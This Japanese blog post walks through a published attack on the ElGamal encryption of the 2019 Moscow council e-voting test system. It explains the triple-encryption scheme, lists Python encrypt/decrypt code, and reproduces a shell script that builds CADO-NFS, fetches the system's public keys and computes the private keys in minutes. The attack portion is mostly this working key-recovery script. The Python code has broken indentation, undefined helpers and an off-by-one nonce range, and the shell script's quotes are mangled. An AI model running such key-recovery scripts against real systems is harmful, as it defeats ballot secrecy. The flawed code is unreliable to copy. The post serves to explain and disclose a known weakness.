モスクワ議会選挙投票システム(テスト用)を破った方法

論文元：https://arxiv.org/abs/1908.05127

はじめに

2019年9月8日のモスクワ市議会選挙でインターネット投票システムが導入されました。三つの選挙区にこのシステムが導入されることが決まったのですがその暗号仕様に脆弱性がみつかりました。今回はこの脆弱性に対して攻撃方法を紹介します。

使われた暗号仕様

公開鍵暗号ElGamal暗号が使われました。ElGamal暗号とは離散対数問題の困難性で安全性を保証された公開鍵暗号です。次のようなアルゴリズムで実行します

1.ランダムに大きな素数pを選ぶ、次にその原始根gを求める。
2.次にランダムに0 \leqq x\leqq p-2の中からxを選ぶ
3.y=g^x (\text{mod } p)を求める。(p,g,y)を公開鍵、xを秘密鍵とする。

モスクワ議会選挙ではこの暗号方式を以下のように三回繰り返しました。

[a1,b1]:=Enc_{g_1,h_1}(m)
[a2,b2]:=Enc_{g_2,h_2}(a1)
[a3,b3]:=Enc_{g_3,h_3}(a2)

として暗号文を(b_1,b_2,a_3,b_3)とします。

復号するには逆順に復号していきます。

a2:=Dec_{3,x_3}(a3,b3)
a1:=Dec_{2,x_2}(a2,b2)
m:=Dec_{1,x_1}(a1,b1)

以下はPythonでElgamal暗号の暗号化、復号化の部分の実装

import math
import random
def encrypt(key, sPlaintext):
#バイトを整数mod pにエンコードします。ファイルからバイトを読み取ります
    z = encode(sPlaintext, key.iNumBits)

    #公開鍵kを使用して文字列sPlaintextを暗号化します
        cipher_pairs = []
        for i in z:
                #（0、p-1）からランダムなyを選択
                y = random.randint( 0, key.p )
                #pow（base、exp、modulus)を計算(下は再定義)
                c = modexp( key.g, y, key.p )
                #d = ih^y mod p
                d = (i*modexp( key.h, y, key.p)) % key.p
                #暗号ペアリストにペアを追加します
                cipher_pairs.append( [c, d] )

        encryptedStr = ""
        for pair in cipher_pairs:
                encryptedStr += str(pair[0]) + ' ' + str(pair[1]) + ' '

        return encryptedStr

def decrypt(key, cipher):
        #各ペアをdecrpytsし、復号化された整数をplaintext integersのリストに追加します
        plaintext = []

        cipherArray = cipher.split()
        if (not len(cipherArray) % 2 == 0):
                return "Malformed Cipher Text"
        for i in range(0, len(cipherArray), 2):
                #c = ペアの最初の数
                c = int(cipherArray[i])
                #d = ペアの2番目の数値
                d = int(cipherArray[i+1])

                #s = c^x mod pでpow( c, key.x, key.p )を計算
                s = modexp( c, key.x, key.p )
                #plaintext integer = ds^-1 mod p
                plain = (d*modexp( s, key.p-2, key.p)) % key.p
                #plaintext integersのリストにplainを加える
                plaintext.append( plain )
        #integersをオリジナルのmessageのbyteにデコード
        decryptedText = decode(plaintext, key.iNumBits)

    #末尾のnullバイトを削除する
        decryptedText = "".join([ch for ch in decryptedText if ch != '\x00'])

        return decryptedText

しかしながら、モスクワ議会選挙のテスト用のElgamal暗号ではそれぞれランダムで選ばれた素数のサイズが256bit以下で非常に小さくさらには安全素数をつかわなかった可能性が高く脆弱になったとかんがえられます。

この暗号の破り方

実装の容易な素因数分解アルゴリズムで一般的なPCで解くことができるbit数には限界があります。
より大きなbit数ではPohlig–Hellman algorithmで破れる。このアルゴリズムは位数を分割することによって作用します。また、CADO-NFSという数体ふるい法を実行するソフトウェアを使用すれば実行できます。CADO-NFSは、整数を因数分解し、有限体で離散対数を計算するためのNumber Field Sieve（NFS）アルゴリズムの実装をしたものです。

CADO-NFSの概要

y=g^x\bmod pで秘密鍵$x$を複製するために公開鍵pk=(p,g)

を用いて離散対数問題をとく.

\log_g (y) = \frac{\log_{cado} (h)}{\log_{cado} (g)}

を計算することで問題を簡単にしている.

実装してみる

Linuxマシーン上でのコマンドを実行(Ubuntu,Debian)

## CADO-NFSが離散対数を計算するメインツール
## 除算演算に対して’pocket calculator’ としてGP-Pari使う
# install some packages
sudo apt install pari-gp jq
sudo apt install libgmp3-dev gcc g++ cmake libhwloc-dev

# download and compile cado-nfs
cd /tmp
git clone https://scm.gforge.inria.fr/anonscm/git/cado-nfs/cado-nfs.git
cd cado-nfs
git checkout 6b3746a2ec27 # version of 16/08
make cmake
make -j 4

# download blockchain-voting and extract public keys
cd /tmp
git clone https://github.com/moscow-technologies/blockchain-voting.git
cd blockchain-voting
git checkout d70986b2c4da # most recent version at the time of writing

cd /tmp
# 3つの公開鍵に対してループを回す。3台のマシーンで並行して実行されうる。
for i in {0,1,2}; do
    start=‘date +%s‘
    # extract the public key information
    keyfile="/tmp/blockchain-voting/encryption-    keys/keys/public-key.json"
    p=‘jq .modulos[$i] $keyfile | tr -d \‘
    g=‘jq .generators[$i] $keyfile | tr -d \‘
    h=‘jq .publicKeys[$i] $keyfile | tr -d \‘
    ell=‘echo "($p-1)/2" | gpnoc‘
    # run cado-nfs to get log of h (takes a few minutes)
    wdir=‘mktemp -d /tmp/cadorunXXXXXX‘
    log_h=‘/tmp/cado-nfs/cado-nfs.py -dlp -ell $ell             workdir=$wdir target=$h $p‘
    # run again to get log of generator (faster, since it reuses precomputed data)
    log_g=‘/tmp/cado-nfs/cado-nfs.py                                $wdir/p75.parameters_snapshot.0 target=$g‘
    # private keyを復号
    x=`gp -q --default colors="no" << EOF
    xell=lift(Mod($log_h,$ell)/Mod($log_g,$ell));   　               half=lift(1/Mod(2,$ell));
　x0=lift(Mod(2*half*xell, 2*$ell)); h0=lift(Mod($g,$p)^x0);
　if (h0 != $h, x0=lift(Mod(2*half*xell+$ell, 2*$ell)));
x0
EOF‘
    stop=‘date +%s‘
    echo "Private key number $((i+1)) is $x, computed in       $((stop-start)) seconds."
done

秘密鍵を608bit,公開鍵を309biteととして4-core Intel i5-4590 processor at 3.3 GHz と16 GBのRAMで秘密鍵を復号するのに314 秒でかかりました。はやい...性能をあげて台数を増やせばもっと成功可能時間は早くなりかなり致命的...